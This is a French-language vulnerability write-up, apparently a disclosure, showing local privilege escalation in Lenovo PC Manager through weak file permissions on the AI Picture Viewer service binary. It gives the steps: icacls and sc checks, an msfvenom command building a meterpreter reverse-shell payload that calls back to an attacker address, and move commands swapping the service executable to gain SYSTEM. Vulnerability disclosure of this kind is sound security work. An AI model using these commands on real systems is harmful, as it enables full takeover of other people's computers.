
Démonstration étape par étape d'une vulnérabilité d'élévation de privilèges locale dans Lenovo PC Manager, exploitant des permissions de fichiers faibles sur un service système pour obtenir un accès SYSTEM via le remplacement d'une charge utile.
Découvert par hasard en étudiant l'élévation de privilèges locale.
Dans toutes les versions de Lenovo PC Manager, les outils de celui-ci présentent une faille de permissions : pour tout outil téléchargé, un utilisateur standard dispose des droits F (contrôle total).

Comme toutes les versions des outils présentent ce problème de permissions, un utilisateur standard peut obtenir les droits admin. Ici, nous utilisons le module AI Picture Viewer comme exemple, car il possède un service avec les privilèges SYSTEM, permettant d'atteindre SYSTEM. Avant la version 5.1.100.1102, Lenovo PC Manager intégrait le module AI Picture Viewer.

Après installation du module AI Picture Viewer, un service persistant est créé :
C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Examen des permissions du fichier avec icacls :

On constate que le groupe Users standard a le droit I F, soit le contrôle total. Création d'un utilisateur standard :

Passons en mode attaque : sans session active dans le groupe Administrateurs, il faut déconnecter tous les utilisateurs, puis se connecter sous user1. Utilisation de sc pour examiner le service, qui s'exécute sous LocalSystem :
sc qc KPICService_Lenovo

Le fichier C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe est celui pour lequel un utilisateur standard a le contrôle total.

Cependant, en raison d'une restriction, le service est verrouillé en permanence ; un utilisateur standard a besoin des droits admin pour l'arrêter.
Changement d'approche : comme l'utilisateur standard a le contrôle total, il peut déplacer le fichier. Au redémarrage, le service lira toujours le chemin configuré et exécutera kpicservice.exe sous LocalSystem.
Passons à la pratique. Génération d'un kpicservice.exe :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -f exe -o kpicservice.exe
Déplacement du fichier d'origine et remplacement par le shell :
move C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe kpicservice.exe
move Desktop\kpicservice.exe C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Redémarrage de l'ordinateur : le service démarre le fichier kpicservice.exe situé dans le chemin configuré, qui a été remplacé, et on obtient les privilèges SYSTEM.
